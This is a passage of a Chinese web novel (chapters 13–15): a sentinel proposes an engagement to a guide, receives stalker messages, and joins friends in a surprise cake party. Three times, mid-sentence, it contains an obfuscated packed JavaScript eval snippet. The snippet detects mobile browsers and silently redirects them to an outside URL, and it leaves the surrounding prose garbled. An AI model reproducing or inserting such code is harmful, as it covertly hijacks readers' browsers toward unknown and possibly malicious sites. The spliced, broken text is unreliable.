黎珞言的眼睛太亮太澄澈了,易谌顺手拿起手边的果汁,眼睫垂下,遮住了黑眸中的情绪。 黎珞言思考了好一会儿,易谌就这样喝了好一会儿果汁逃避对视,等着他思考完。 “你愿意和我订婚吗?” “咳!咳咳!” 易谌被这突然的一句话呛到了,咳得整个人都红了。 等他咳完缓过来之后,脸还是红的,黎珞言观察了他一会儿,难以从他的表情中观察出他是同意居多还是拒绝居多,于是不太确定地凑近问道:“你没事吧。” 他语速慢慢的,简直像是反应迟钝的树懒熊,接着说:“啊……我是不是问得太突然了?那我现在还能收回来吗?要不你就当没听见,我过一会儿再问一遍。” 对的对的,尹惟说的是先拉拉家常再问,他可能是问得太着急了,等会儿重新问一下应该就可以了。 易谌努力恢复到一副沉稳的模样,故作淡定地拿起旁边的果汁,吸起一口,吸了个空。 他垂眸一看,才发现果汁已经被他喝完了:“……” 在低着头的时间内,他眼睛使劲眨了几下,抬眼时又表现出一如既往的淡然,仿佛没有被震惊到,声线十分平稳:“你刚才说,订婚?” 13.第 13 章 黎珞言咬着吸管,眼皮轻轻耷拉着,盯着易谌空了的杯子放空。听见易谌的话后才像被拉回了神一样,双手捧着杯身,下巴靠在杯子边上:“我……” 他刚说了一个字就禁不住打了个哈欠,压住快要溢出眸中的困意,努力维持着有精神的模样,望着易谌认真地点了点头:“我是认真的。” 易谌抓住果汁杯的手指微蜷了下,无意识地,他又开始喝那杯空果汁了。 ……这么渴吗? 黎珞言小幅度地歪了下头,注意到旁边放着的那一大壶柠檬水,于是倒了一小杯,轻轻推到易谌面前。 易谌一抬头,就撞进一双湖泊般的碧绿眸子,垂下眸就是一杯倒好了的柠檬水。 顿了一下,他看着面前的黑发哨兵,开口道:“谢谢。” 黎珞言忽然间也被这种拘束客气的气氛搞得有点不自然起来,下意识地摸了摸耳朵,指腹轻轻滑过微凸的耳钉,感受到冰凉坚硬的触感,他的情绪又重新静下来。 他弯眼道:“不客气。” “抱歉,我想问一句可能有点冒昧的话,”易谌将那杯柠檬水一饮而尽,仰头时喉结滚动,再看向黎珞言时眸光恢复了平静,问道,“你很着急订婚吗?如果算上不正式的那次,我们也才见过两次面。” 黎珞言咬住果汁吸管,眉间微蹙,似乎是在认真思考,又像是在组织语言。半晌他猛猛吸了一口,把最后一口果汁吸进口中,松嘴时才让人发现吸管被他咬得烂糟糟的。 严格来说,这是一个四人桌。黎珞言起身换了位置,这次在易谌身边坐下了,侧过头眼睛一眨不眨盯着易谌,说话时唇间露出一点尖尖的小白牙。 神情严肃非常,完全是一副说正事的语气:“你之前给我做过精神疏导,应该也发现了我的精神图景很糟糕吧。所以我需要定期接受向导的疏导才能够维持精神图景的稳定。” 易谌视线微垂,眼皮盖住了上半部分眼珠,黑得几乎透不进光的眸子盯着说话的人,不经意间轻轻扫过对方一张一合的唇,又偷感十足地快速挪开视线。 听完他的话,易谌若有所思地点点头,淡然回复:“定期精神疏导……不需要订婚,我也可以给你做。” “可是……”黎珞言压低了声音,好奇道,“那不就只能做浅度的精神疏导了吗?” 眼睛亮晶晶的小动物靠得太近,易谌手搭在桌子上,不着痕迹地往后仰了仰,和他拉开了点距离,一边道:“浅度不行吗?” 黎珞言摇摇头,“我需要很多向导素。浅度疏导不够。” 向导素通常储存在向导的精神触须,以及向导的体.液当中。浅层的精神疏导仅靠精神触须就能做到。如果需要汲取到更多的向导素,一种方法是极为深入的精神入侵,另一种方法则是极为深入的身体接触。 而这种深度疏导通常只会发生在伴侣之间,特殊情况除外。 黎珞言看着易谌,认真地说:“如果可以结婚的话,我就会邀请你和我结婚了。但是我还没到联邦法定结婚年龄。” 易谌慢慢点了下头,这他倒是记得,黎珞言现在才刚刚20岁。 他垂下眸,仔细思考订婚这个想法可不可行。 还没思考上几秒,黎珞言忽然把公民身份证明都翻出来给他看了,一脸严肃正经地点了点身份证明上的年龄,一只手没注意地搭在了易谌的手腕处:“等我满25岁了,我们就去登记结婚吧。” 因这若有似无的触碰,易谌的手瞬间僵直了,浑身紧绷起来,完全没听清耳边嘀嘀咕咕的声音,低着头,视线直直注视着搭在自己手腕上的那只手。 黎珞言浑然未觉,他眨了眨眼睛,歪着脑袋凑近,试图和易谌来个眼神交流,讲话时不自觉地就拉长了尾音,“可以吗?” 易谌穿着件长袖无帽卫衣,实际上黎珞言并没有接触到他的皮肤,而是隔着一层不容忽视的衣服布料,但他的神情极其僵硬,强忍着立即缩回手的冲动,一个字一个字地往外蹦:“我、有洁癖。” “啊?——哦!” 黎珞言意识到之后立马收回了手,把手背了回去,点点头郑重表示:“我记住了。” 易谌显而易见地松了一口气,紧绷着的身体也放松下来了:“你说的我会考虑。但很抱歉,我想,我不会和我不喜欢的人结婚。” 他有非常严重的精神洁癖。如果让他和不喜欢的人进行深度交流的话……易谌冷漠地想,他可能会当场吐出来。 但是—— 但是对于黎珞言,他倒没有特别抵触,可能是因为这人实在太像活泼灵动、又有点慢吞吞的小动物了吧。 易谌看着黎珞言,不太确定地归纳总结。 黎珞言还是用一双充满期待的眼神看着他,碧绿的眸子每眨一下,就漾起一点粼粼微光:“那你会和不喜欢的人订婚吗?” 话刚说完,他又觉得不对,立马改口问:“那你喜欢我吗?” “?”易谌不得不再次提起一个其实不需要再被强调的事实,绷着脸说,“我们这才勉强算是第二次见面。” “哦——”黎珞言似懂非懂地点点头,停顿片刻,问道:“那你喜欢我吗?” 易谌耐心地重复一遍:“我们……” 这次黎珞言抓紧时机打断了,他弯眼笑道:“可是我就很喜欢你。” 易谌:“……” 他觉得这人口中的喜欢,就和喜欢晴天、喜欢风筝一样,不适合当真。 但被黎珞言那双亮晶晶的眼睛这样看着,易谌嘴里的话哽噎了好几次又统统被咽回去了,艰难道:“我们订婚吧,可以、相处一段时间试试。” 黎珞言心满意足地弯起眼睛,拿出终端,和易谌加了正式的联系方式。 餐桌上的菜果不其然被吃光了,践行了不浪费的准则。易谌第一次发觉自己胃口居然能这么好,看着黎珞言吃饭认真又专注的模样,他都忍不住多吃了不少。 他在心里想,黎珞言在星网做吃播绝对是能干出一番事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532039|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业的。 嗯……长身体。 * 尹惟回到宿舍之后,发觉这一天发生的事情是真的多,多得她有点头晕了。再加上奚元在她耳边痛嚎了一下午,她现在都感觉耳朵隐隐作痛。 一走到床边,她就疲惫地瘫倒在床上,脸深深埋在被子里,一个字也不想多说。 “怎么了?累成这样?”同宿舍的女生笑着,忍不住问她。 尹惟有气无力道:“心累。” 忽地,她终端响了。 她面无表情地摸出终端,看着通话界面上显示的“岑洺”两个字,深深地皱起了眉。 这谁啊? 她冥思苦想了好一会儿,终于想起来,这是她哥的一个朋友,之前不知道什么时候加上的联系方式。 尹惟坐直身子之后,接通了对话。 “尹惟妹妹?” 那头传来一个听起来有几分轻佻随性的男声。 尹惟闭了闭眼,一边按着额角,一边微笑着,语气温和地回道:“你好,请问有什么事吗?” “啊,是这样的。我今天第一次驾驶飞行器上路,不小心撞上个人,这个人你也认识,就是——黎珞言,我记得听你哥说你们关系很好。” 尹惟听着听着脸上笑容没有了,原来今天中午看到梨子衣服上的痕迹是这么来的。她面无表情地继续听着。 “哎!我当时整个人被撞晕了,稍微清醒过来之后他人就不见了。但我想了一下午实在很过意不去,想找到他的联系方式和他道个歉也没找到途径。你哥在出任务,由于磁场问题我联系不上他,所以想来想去,还是来找你了。” 从他的话中不难听出他是真的想道歉,但似乎是习惯成自然,即便是这样正式的话也因为他自带七分上挑的语调,听着就跟玩笑话似的不正经:“能给哥一个他的联系方式吗?哥请你吃饭。” 尹惟态度冷淡:“……哦。” 想到今天看见黎珞言擦破的衣服裤子,还语气轻松地说自己只是摔伤了的模样,她的心情就好不起来。 思索几秒之后,尹惟的嗓音再次带上了笑:“不好意思啊岑洺哥,黎珞言他向来不加陌生人的终端的……原来他今天伤成这样是因为被你的飞行器撞了啊,我看了下,伤得还挺重的,嘶……要不这样吧,我列一份补偿清单,岑洺哥你按着清单准备一下,再由我转交给黎珞言。” 岑洺:“……啊?”不是?s级哨兵能伤多重啊?怎么还给他列上补偿清单了?? “嗯?”行动力极强的尹惟刚说完就已经开始撰写补偿清单了,声音听着是含笑的,“是我的请求太过分了吗?抱歉,要是岑洺哥不愿意的话,也可以再找别人想想其他办法。” 岑洺:“……行。” 他顿了顿,最终还是很爽快地说:“你把补偿清单列好之后发过来就行。确实是我有错在先。” 嘴上说的爽快,挂了电话之后,岑洺开始虔诚祈祷,不要太贵不要太贵不要太贵…… 14.第 14 章 “咚咚。”大清早的,宿舍门被叩响了。 奚元猛地睁开眼,困得眼睛无神。他眼下一片青黑,使劲按了按额角才勉强清醒一点,起身准备去开门,结果一扭头看见舒舒服服侧身睡着的黎珞言,气不打一处来,过去把人的被子掀了。 “嗯?”黎珞言的声音带着浓浓睡意,闷闷地发出充满疑惑的一声。他艰难地睁开一只眼睛,绿色的眸子里一览无余全是茫然。 “有人敲门。”奚元臭着一张脸,往门口走过去,给外面那人开门。 黎珞言似乎若有所思地点了点头,声音拖长,慢悠悠地“喔——”了一声,然后艰难睁开的那只眼睛啪嗒一下就合上了,薄薄的一层眼皮将盛着水色的绿眸重又盖住。 他把自己的被子又扯了回来,整个人缩在被子里,翻了个身,面朝着墙继续睡。 奚元打开门,身子懒懒地倚在门框边上,视线落在门口的箱子上。他轻轻挑了下眉,嗓音含着明显的困倦:“有什么事吗?” 常西看着他眼下格外明显的黑眼圈,忍不住“哇”了一声,发自内心道:“你这是晚上偷偷加练了吗?这么勤奋。” 奚元轻“啧”了一声,舌尖抵着牙,眼睛眯起来,扯出一个假得不能再假得笑来:“我有病吗?我大半夜不睡觉出去加练?” 他是真的没想到,黎珞言上周才和他那个什么匹配对象见了面,说了些要订婚什么的乱七八糟的话。 他还想着最早也得过一长段时间才能看见他们订婚的消息了,结果昨天晚上闲着无聊刷星网,居然让他在首页看到了黎珞言订婚的消息。 黎珞言!订婚了!最先知道的居然不是他?! 奚元大半夜地从床上坐起来,终端差点被他捏碎了。 他冷着一张脸站在了黎珞言的床边,瞳孔缩成一条猫瞳似的细线,盯着黑发哨兵的脸看了许久,月光从窗户外面打进来,照亮了他半张脸,看上去阴森森的。 而床上的人完全没有察觉,熟睡着的神情放松。最后奚元缓缓吐出一口气,换了衣服出了门,下楼吹着冷风跑了十公里。 而大半夜出宿舍跑了十公里的下场就是第二天立竿见影的黑眼圈。 奚元完全不想提这件事,更不想让别人知道,他居然是从星网上知道黎珞言订婚的消息的! 常西看出来他心情不好了,但还是一个劲儿地往房间里面瞅,想看看黎珞言在不在里面。他上次被他救了一命,一直没找着机会感谢。 奚元看出了他的意图,“呵呵”笑了两声,往外面跨了一步之后顺手把门给关上了,完完全全阻绝了常西努力往里面瞟的视线。 常西:“?” 看见常西的表情一瞬间难看起来,他的心情勉强好了一点,朝着箱子努了努嘴:“这什么?” 常西双手环抱着,说话也不耐烦了:“哦,我看尹惟在论坛上发帖,找人帮忙送东西过来,跑路费30个星币。我顺手就接了。” 奚元不信:“你差那30星币?” “我勤工俭学,不行?”常西瘪着嘴。说完这句,他又实在按捺不住好奇心,很勉强地和奚元来了个对视,“我听说,黎珞言订婚了……哎!我靠!你是不是有病!” “砰!”的一声,门被使劲关上。箱子也被拖进门内了,门外只剩常西一个人。他揉了揉被门撞上的鼻子,忍了半天,还是没忍住:“艹!” …… 黎珞言被这一声震醒了,翻了个神,茫然地睁眼看着奚元,开始放空。 奚元把箱子拆开了,最上面是一张字条,是尹惟的字迹:梨子,这些是上次和你的飞行器撞上的人给的补偿! 感叹号后面画了个歪七扭八的胖梨子。 看到这张字条的奚元第一反应是,什么飞行器?什么撞上? 箱子里面的东西还挺繁杂的,一些枪支机械,还有营养液什么的。 奚元见黎珞言醒了,把字条递了过去,紧抿着唇,一言不发。 黎珞言盯着他眨了眨眼睛,看完字条内容之后,从枕头后面摸到终端给尹惟回了条消息,表示自己收到了,还附赠一句:【你画工有进步哦![眨眼小狮子.jpg]】 尹惟:【那肯定!易如反掌好吧![叉腰.jpg]】 奚元一想到黎珞言订婚的消息心里就堵得慌,他又想下楼跑个十公里了,不,这次还是跑个二十公里吧。 “奚元!” 黎珞言扯了扯他,奚元臭着脸转过去,语气生硬:“怎么了?” 黎珞言坐直身子,靠着墙支撑住身体,奚元就看着他把被子往自己怀里扯,刚想问他在干嘛,就被被子直直砸中。 被子散下来把他的视线挡住了,眼前一片黑。 黎珞言隔着被子拍了拍他的头,得逞似的轻笑了两声,嗓音懒洋洋的:“奚元你开关门小声一点,都把我吵醒了。” 奚元头顶着一床被子,面无表情回复:“知道了,我下回拿个喇叭在你耳边放山歌。” 话音刚落,被子就被外面的人骤然挑开了。奚元闭了闭眼适应突然的光亮,一睁眼猛然撞上一双弯起的浸满纯澈笑意的绿色眸子。 他心脏猛地一跳,迅速开口掩饰自己激荡的情绪:“你……嗯??” 黎珞言伸手把他嘴巴捏住了,就像捏小鸭子嘴巴似的,嘴上慢吞吞谴责道:“不可以这样,你如果真的这样做,我就要去告状了。” 奚元愤慨:“唔唔唔!!唔唔!” 黎珞言像是真的听懂了似的,还煞有其事地点点头,凑近看他:“那你保证要和我道歉。” 奚元受制于人,犹豫片刻后,摆烂般快速点了两下头,不情不愿地回应:“唔!” 黎珞言松开手,哼了一声,道:“其实你态度一点都不好,但是我可以再给你一次机会,听听你认错的态度。” “哈!那你还挺大度。”奚元别过头去,停顿了好一会儿之后,极不情愿地吐出一句:“对不起。” 黎珞言竖起耳朵,凑近听,才勉强听见了这声若蚊呐的一句,而且字眼还极其模糊,咕噜咕噜就带过来。 但听到之后他还是弯起眼睛,拍拍他的肩,大方道:“没关系。” “那你!”听见自己下意识发出的控诉,奚元停顿一下,稍微控制了下自己的语气,努力让自己看起来没那么败犬,一副站在好兄弟立场的模样:“你订婚怎么不告诉我?我们不是最好的朋友吗?你是不是也要向我道歉!” “唔,”黎珞言思考了一下,起了身,一边在衣柜里翻翻找找,给自己找出门的衣服穿,一边真诚回道,“我感觉你好像不太想我订婚……既然你不高兴,我就想着,干脆过段时间再和你说了。” 奚元滞了声,火也一瞬间消退了。 ……他有表现得这么明显? 黎珞言把衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559073|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找好抱在了怀里,往卫生间走,关门前探出个头说:“哥不是今天从污染区回来吗,你快换衣服,要来不及了。” 他洗漱完,换完衣服出来,发现奚元还坐在椅子上抬头望天花板、似乎正独自忧伤。他迅速把人拉起来,推进卫生间里,催促道:“真的要来不及了,别磨蹭了。” 卫生间门被关上,黎珞言撕开一管营养液,叼在嘴里,抓紧时间补充能量。坐在椅子上后,他打开终端,准备看一眼具体时间,却看见陌生信息接二连三地跳出来。 黎珞言脸上的情绪向来不多,大多时候是冷脸或者弯起眼笑的模样,但这一次眉眼间却浮现出了显而易见的厌恶,绿眸中是浓烈的厌烦。 陌生号码:【小梨,梨子,你怎么订婚了也不和我说一声啊?】 陌生号码:【没事的,现在也可以解除婚约,你知道的,我也是向导,你需要精神疏导,我可以和你做啊】 陌生号码:【我的资料被匹配库删除了,好遗憾,不能看见我们的匹配度了,但一定不会低的,不然我怎么会一看见你就*了,对吧】 陌生号码:【为什么不回我消息?】 陌生号码:【为什么为什么为什么】 陌生号码:【小梨子,为什么不回我?】 语气从一开始的故作熟悉的亲昵,到后面久久没有得到回应的气急败坏。 那边又发过来了好几张照片。 黎珞言往下面划了一下,全都是他近半个月以来的照片,在学校,在宿舍楼道,在餐厅…… 陌生号码又发过来了新的信息:【没关系的小梨,我知道的,你只是在害羞】 陌生号码:【好想你,只能隔着照片看着你根本不够……】 黎珞言冷着脸,拧起眉,轻点屏幕,简明扼要:【恶心。】 没等回复,他迅速把这个号码拉黑了。 ……又要换号码了。 黎珞言咬着营养液,心情糟糕透顶,他真的不知道对方到底是从哪里打听到的他的联系方式。 从中学时的突然一天开始,这个人就致力于给他发各种各样、奇奇怪怪的信息,换了无数次号码,但语气措辞一模一样。 长时间的、仿佛暗处蟑螂般阴暗窥伺的目光惹得黎珞言这样性子温吞、好脾气的人都厌烦了起来,后来又发生了很多事,在那之后他就没再收到这个人的来信了……直到今天,他订婚消息公布的这一天。 怎么会这么阴魂不散? “梨子,我收拾好了。”奚元靠在墙上,低着头懒懒散散地扣皮带扣子,嗓音有点恹恹的。 黎珞言睫毛颤了一下,慢悠悠地“哦——”了一声,手上平静地把陌生号码发来的信息删掉了。 黎珞言起了身,把椅子上的外套拎起来穿上了。是很有春天味道的浅绿色,穿上之后衬得他皮肤很白,他随手把头发往后捋了一下,松手后,黑发又垂下来,露出了光洁的额头。 他手握成拳,轻轻捶了下奚元的肩,等对方看过来之后,弯眼道:“对了,你黑眼圈怎么这么重?” 奚元伸手一把揽住他的肩,头磕在他的肩上,轻描淡写带过:“没睡好。” “那我抹点墙灰给你遮一遮?”黎珞言抿抿唇,开始发挥想象力,“或者我把冰箱里的奶油拿出来给你抹点……哎!” “别思考了。” 奚元面无表情拉着他就往外面走。 15.第 15 章 宽敞的别墅里,书柜上、桌子上摆着零零散散的物品,充满了生活气息。 本来是提前说好在尹祁青回来的第一时间就见面的。但由于两个男生从起床到路上都磨磨蹭蹭,再加上尹祁青又提前回来了,他们立马改了地点,说是在房子里见面。 房子占地面积不算特别大,周围有树有水,环境很宜居。 “是的,我已经到达了。温暻?他大概也快到白塔了吧。”身上作战服还没换下来的高大哨兵有着一头利落黑色短发,其间夹杂着雾霾蓝挑染,和尹惟如出一辙。 他一边和终端那头的人对话,一边往房子里走,步子迈得很大,嘴角噙着笑,“不用举办什么欢迎会,家里有人等着我呢。” 走到门前,他没急着开门,对着终端那头敷衍了几句,挂断之后收起终端,这才用指纹开了门锁。 门刚一打开,门框边直愣愣探出三个脑袋,层层叠叠的,似乎是要给进门的人一个惊喜。 第一个脑袋·尹惟笑眯眯挥手:“哥!” 第二个脑袋·黎珞言眨眨眼睛:“哥。” 第三个脑袋·奚元跟上队伍,打招呼道:“尹祁青。” 尹祁青忍了忍,还是没忍住笑出声:“嗯,我回来了。” 他往房子里踏进一步,下一秒“砰”的一声,彩带假花从可手持式礼花枪里哗啦啦喷了出来。 灰尘扑扑的作战服上瞬间沾满了五颜六色的小彩片和彩带。 尹祁青弯了弯唇,完全没有露出任何惊讶的情绪,很是无奈地把落在领口的假花摘了出去,假花上大概是浸了香薰,有股很清新的甜香味,是在污染区深处闻不到的味道。 见状,一直盯着他微表情的尹惟失望地叹口气:“没有惊喜到吗?” 奚元耸了耸肩,漫不经心接话茬:“每次都是这些,翻来覆去一点新意都没有,换我也不会再惊讶了。” 尹惟反驳:“可是我这次往彩带里加了花!” 尹祁青走过来随手揉了揉她的头,笑着说:“挺惊喜的,完全没想到啊。花很漂亮,彩带也好看,如果最后不是我来打扫就更好了。” 尹惟目移,左看右看地慢吞吞移到沙发边上坐下了。……唔,反正她不打扫。 奚元也抓了抓头发,立刻紧跟着坐在了沙发上。 尹祁青失笑,弯眼望向他们的方向,正巧和看过来的黎珞言对视上。 黎珞言微微偏了下头,举手表示:“其实我们还有准备别的惊喜。” 沙发前的大理石桌上摆着一个明显的礼物盒,上面系了一个端端正正的蝴蝶结。 尹祁青有些惊讶,好几次都一成不变的“欢迎会”终于有了点新意了。 他走上前,开始拆礼盒。 坐在沙发上的三个人也盯着他拆礼物,目光炯炯。 蝴蝶结带子下方压着一张浅蓝色风筝的贺卡。尹祁青打开看,里面是一个手绘的蛋糕,旁边是一个黑发中几缕雾霾蓝挑染的男性小人,正站蛋糕旁边,低着头闭眼许愿,几缕实体化的暖橙色光束落下来,立马将偏暗的画面点亮了。 尹祁青的手指轻轻滑过贺卡上的手绘画,滑过层层叠叠、沾满彩色糖果的蛋糕,又落在画上的自己身上。 “欸,这个贺卡怎么在这里?” 尹祁青偏过头,黎珞言正好凑近了蹙眉盯着这张贺卡看。这个角度,他垂下眸,视线正正落在少年细碎的黑发上,视线微偏就注意到了少年右耳上那颗闪闪发亮的银色耳钉,在晃动的黑发半遮半掩下,亮得惊人。 黎珞言严肃地盯着这张本该被装在礼盒里面的贺卡,想不出怎么就在准备期间出现了这样的差错。他朝尹惟看去,充满疑惑地眨眨眼睛。 尹惟也朝他眨了眨眼睛,做口型道:完了,忘记放进去了。 说完之后,她小幅度地摊摊手,表示糟糕糟糕。 黎珞言认真地看完她的口型,但字数太多,他看不明白,但也稍微明白了一点点。 他收回视线,悄悄伸出手,捏住贺卡边沿,把它从尹祁青手里小心翼翼地、一小点一小点地往外抽。尹祁青手上撤了力,于是他很轻易地就拿过来了,把贺卡合上抓在手里背至身后。 尹祁青笑着看他藏贺卡的动作,又看着他勉强藏好之后歪歪头看过来,绿眸亮晶晶问他:“哥还没仔细看吧。” 望着人时一眨不眨的眼睛就好像在说“拜托拜托”。 尹祁青十分配合地点点头,眯着眼,仿佛是在思考,回想几秒后得出结果:“只瞥了一眼,好像画了个小人?” 他表现得像是真的没看清,在仔细回忆一样。 黎珞言微微松了口气,又扬起笑:“哥你继续拆礼物就知道了。” 尹祁青便继续拆礼物,一边拆一边说:“那这次我真的有点期待了。” 他把外面的红色盒子打开,发现里面还有个橙色盒子。看了几秒之后,他又开始拆橙色盒子,手指卡在盒子下方,往上抬取下之前,他先是停顿了几秒,才往上抬。 橙色盒子下方果不其然出现一抹黄色。 尹祁青松手,橙色盒子又重新落下,盖住了里面那层黄色盒子。他半是无奈半是想笑,看向旁边正襟危坐的三个人,这三人似乎还对自己准备的惊喜很满意,一脸期待地看着他,仿佛在催促他继续拆下去。 尹祁青按了按额角,转回头继续玩这个拆盒子小游戏了。一边拆,一边想,这次到底又是谁想出来的创意呢?这么聪明的主意居然还能得到全票通过,真的也是很难令人相信……但想想是哪三个人,倒也—— 倒也是能做得出来的。 黄色盒子也被拆开了,他开始拆绿色盒子的蝴蝶结,一边拆一边拖长语调说:“哇。让我猜猜,这个里面是不是一个青色盒子呢。” 他手指扣住绿盒子下边缘往上抬,几乎都能想到会映入眼底的颜色了。 盒子被抬起,一瞬间的色彩却是极具观赏性和冲击力的彩色。 尹祁青稍微愣了愣,耳边炸响整齐的一声:“Surprise!” 绿色盒子被搁到一边,里面是一个沾满各种颜色糖果和巧克力彩针的奶油蛋糕,蛋糕旁边是一个闭眼低头许愿的雾霾蓝挑染Q版小人。 俨然就是方才贺卡上画的情景。尹祁青记忆力很好,贺卡上的蛋糕和小人完全是根据这个等比例缩小复刻的,当然贺卡上画的自然是比做出来的立体小人要精致许多。 黎珞言趁他不注意迅速把贺卡放回了原本它该在的蛋糕底座上面。然后不经意间把手放在了贺卡旁边,努力让尹祁青注意到忽然出现蛋糕边上的这张浅蓝色贺卡。 尹祁青稍微有点愣神。黎珞言弯起眼,回过头对着也正关注情况的两人轻眨了一下右眼。 有一点点不完美,但成功! 尹祁青成功注意到他的暗示,拿起贺卡翻开,看得极其认真,挑了下眉:“把我画得还挺帅的,而且……真的和我有点像。” 这种Q版小人他一向分不出区别的,大多长得一样,但黎珞言画的这张他,粗略一看蛮像的,仔细看就越看越像了。 黎珞言被夸了,大大方方地点点头,对他这句话持肯定态度,笑起来:“因为和哥很熟悉呀。” 尹祁青把贺卡仔细收了起来,避免不小心损坏。他准备一会儿找个相框装进去,放在床头柜那里。画得这么像他,他肯定要多看几遍才好。 收好后,他重新看向轻轻碰了碰蛋糕边上那个小人,好奇道:“这个人能吃吗?” “咳咳!”奚元故意咳嗽一声,把视线吸引过来之后,开始长篇大论道:“我一开始是准备用粘土捏的,但是!” 他微抬下巴,“但是在我准备动手做的时候,我转念一想,尹祁青看见这个小人,肯定会想着这能不能吃,所以我为了让这份迎接你的礼物更加具有体验感,我特地做成了能吃的小糖人。好了,我现在要回答你了,可以吃,而且你如果不吃的话就是辜负我的努力。” 尹祁青:“啊……” 其实并不想吃齁甜的糖人。 奚元环视一圈,发现没有人露出那种他想象中的很惊喜的表情,他不服气,极其不经意地提起:“这个小糖人我做了挺久的!” 又沉默片刻,黎珞言率先捧场鼓掌:“好厉害。” 尹惟一言难尽地看着许愿小人,不走心地夸了句:“厉害。……” 这里有零个人想吃糖人。 尹祁青叹了口气:“那……我先许愿吧。” 关上灯之后,只有蛋糕上被点燃的蜡烛带来亮光,暖橙色的烛火在眸底跳跃。 尹祁青被他们要求着要双手合拢许愿,他拗不过无奈照做:“怎么弄得跟过生日一样了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565213|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚闭上眼睛,他又迅速睁开眼睛:“要不你们也闭上眼睛?蛋糕应该是你们亲手做的吧,不想许个愿吗?” 奚元思索两秒,迅速道:“那我要许愿!” 尹惟闭上眼睛:“那我也许一个吧。” 黎珞言盯着蛋糕,他其实更想吃蛋糕……还没吃饭呢。 但看他们都闭上眼睛了,他屈指轻轻挠了下脸颊,慢吞吞道:“那我也许愿。” 他闭上眼睛,轻轻抿着唇,黑发柔软地耷下来,看起来十分安静。 尹祁青却睁开了眼睛,他看着身边闭着眼睛的黎珞言。 紧闭着眼的黑发哨兵不知道是在许愿还是在发呆,但确实乖乖坐着没动,因着低头的动作,几缕黑发落到眼前,扫过眼皮,带来轻轻的痒意。他眼皮非常轻地颤了一下。 尹祁青忍不住弯了弯唇,伸手帮他把头发往后撇了撇。 黎珞言下意识地往后面缩了一下,同时睁开了眼睛,看见是尹祁青后他没动了,他有些奇怪,张嘴问他,但没发出声音,比口型:“哥?怎么了?” 他的手里忽然被塞进一个圆形的铁片,他伸手抓住了尹祁青塞过来的那样物品,指尖和他还没来得及收回去的手相触了一瞬,指尖温热还未停留几秒,下一刻尹祁青就收回手了。 黎珞言手心抓握着那个铁片,他拿起来看,是一个徽章。 上面写着几个字:【小小勇士】 看见后,黎珞言实在没忍住露出了笑,他眼睛弯成月牙状,无声问:“这是什么?” 尹祁青试图用口型告诉他,但说了几个字之后,看黎珞言一副懵懵的、看不懂的模样,他干脆靠近他,俯身在他耳边小声说:“是给还没毕业就去了污染区的军校生的奖励,你可以帮我保管吗?” 说话间呼吸打在耳垂上,热气渲起一点微红。尹祁青看着他泛起红的耳朵,实在想捏一下,但最终还是忍住了,食指轻轻挠了下自己的拇指指腹,克制住了。 黎珞言想,这么大人了得到这么个徽章是挺丢脸的。 他很能理解地点点头,偏过头去找尹祁青的眼睛。和对方对视上之后,他先是弯起眼睛,笑容明媚,然后朝他轻眨右眼,用气声说:“没问题的。” “嗯?还没许好愿吗?”尹惟突然开口,她闭着眼,不知道怎么这么久都没动静,挠了挠头,“哥你再不吹蜡烛的话我吹了?” 尹祁青闷笑了声,出声道:“小梨吹蜡烛吗?” “嗯?”黎珞言一时没反应过来,疑惑地看着他。 尹祁青耐心重复一遍:“吹蜡烛。” 黎珞言慢半拍地“哦”了一声,顺手把手里的“小小勇士”徽章放回了外套口袋里,稍微离蛋糕近了些,嘟起嘴轻而易举吹灭了蜡烛。 蜡烛熄灭之后,屋子里就黑了下来。但作为五感增强的哨兵,在黑暗中视物是绝对没有问题的。 黎珞言环视,思索,接着拍拍奚元,理直气壮:“你离得最近,你去开灯。” 奚元的视线沉沉,直直落在他方才放东西的外套口袋里,被黎珞言拍了一下,他停顿片刻后才移开视线、做出反应。 开了灯之后,屋子里又亮堂起来。 黎珞言快乐地拿着盘子等蛋糕吃,分到蛋糕之后还被分到了四分之一块小糖人。 尹祁青在切雾霾蓝挑染小糖人时,其实是遭到了一致反对的。 ——这种照着人做出来的Q版小人被切开太不吉利了。 奚元的原话是这样说的。 但尹祁青不相信这种迷信的东西,而且他看着这明显齁甜齁甜的糖人,就难以下口,根本吃不完一整个。一番激烈讨论过后,尹祁青表情一言难尽地把糖人磨平到像刚出炉几乎变成一个球球了,才被允许分成了四部分。 黎珞言有些好奇地舔了一口自己被分到的糖块零部件,然后在另外三个人的注视下默默缩回了舌头。 ……难吃。 他舔了舔嘴唇,一声不吭地开始吃自己盘里的蛋糕。 好了,能猜到有多难吃了。 尹祁青站起身,问道:“你们吃饭了吗?” 